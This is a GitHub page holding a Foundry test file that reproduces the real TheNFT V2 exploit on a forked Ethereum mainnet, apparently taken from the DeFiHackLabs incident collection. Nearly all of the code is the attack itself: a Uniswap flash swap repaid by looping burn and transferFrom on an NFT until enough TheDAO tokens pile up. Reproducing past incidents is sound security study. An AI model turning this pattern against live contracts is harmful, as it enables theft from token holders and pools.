forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
TheNFTV2_exp.sol
79 lines (66 loc) · 3.36 KB
/
TheNFTV2_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~19K USD$
// Attacker - https://etherscan.io/address/0x2F746bC70f72aAF3340B8BbFd254fd91a3996218
// Attack contract - https://etherscan.io/address/0x85301f7b943fd132c8dbc33f8fd9d77109a84f28
// Attack Tx : https://etherscan.io/tx/0xd5b4d68432cbbd912130bbb5b93399031ddbb400d8f723c78050574de7533106
// @Analysis - https://x.com/MetaTrustAlert/status/1728616715825848377?s=20
contract TheNFTV2Test is Test {
IERC721 THENFTV2 = IERC721(0x79a7D3559D73EA032120A69E59223d4375DEb595);
IERC20 TheDAO = IERC20(0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IUniswapV2Pair uniswap = IUniswapV2Pair(0xE1eCaDb5FEC254c2c893C230b935Db30b8FfF0db);
uint256 constant nftId = 1071;
address hacker = 0x85301f7b943fd132c8dBc33f8FD9d77109A84f28;
address deadaddress = 0x000000000000000000000000000000000074eda0;
function setUp() public {
vm.createSelectFork("mainnet", 18_647_450);
vm.label(address(WETH), "WETH");
vm.label(address(THENFTV2), "THENFTV2");
vm.label(address(uniswap), "Uniswap Pair");
vm.label(address(TheDAO), "TheDAO");
}
function test() public {
address[] memory assets = new address[](1);
assets[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 80_000 * 1e18;
uint256[] memory modes = new uint[](1);
modes[0] = 0;
emit log_named_decimal_uint("[Start] Attacker ETH Balance", WETH.balanceOf(address(this)), WETH.decimals());
uint256 balanceBefore = address(this).balance;
vm.prank(hacker);
THENFTV2.transferFrom(address(hacker), address(this), nftId);
uniswap.swap(0, 1_906_331_836_125_411_716, address(this), new bytes(1));
uint256 balanceAfter = address(this).balance;
assert(balanceAfter > balanceBefore);
emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 0);
}
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
(uint256 thedaoReserve, uint256 wethReserve,) = uniswap.getReserves();
emit log_named_uint("k0:", thedaoReserve * wethReserve);
uint256 amountOut = amount1;
uint256 amountIn = getAmountIn(amountOut, thedaoReserve, wethReserve);
emit log_named_uint("amountIn", amountIn);
do {
THENFTV2.approve(address(this), nftId);
THENFTV2.burn(nftId);
THENFTV2.transferFrom(deadaddress, address(this), nftId);
} while (TheDAO.balanceOf(address(this)) < amountIn);
TheDAO.transfer(address(uniswap), TheDAO.balanceOf(address(this)));
WETH.withdraw(WETH.balanceOf(address(this)));
}
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountIn) {
require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");
uint256 numerator = reserveIn * amountOut * (1000);
uint256 denominator = (reserveOut - amountOut) * (997);
amountIn = (numerator / denominator) + (1);
}
receive() external payable {}
}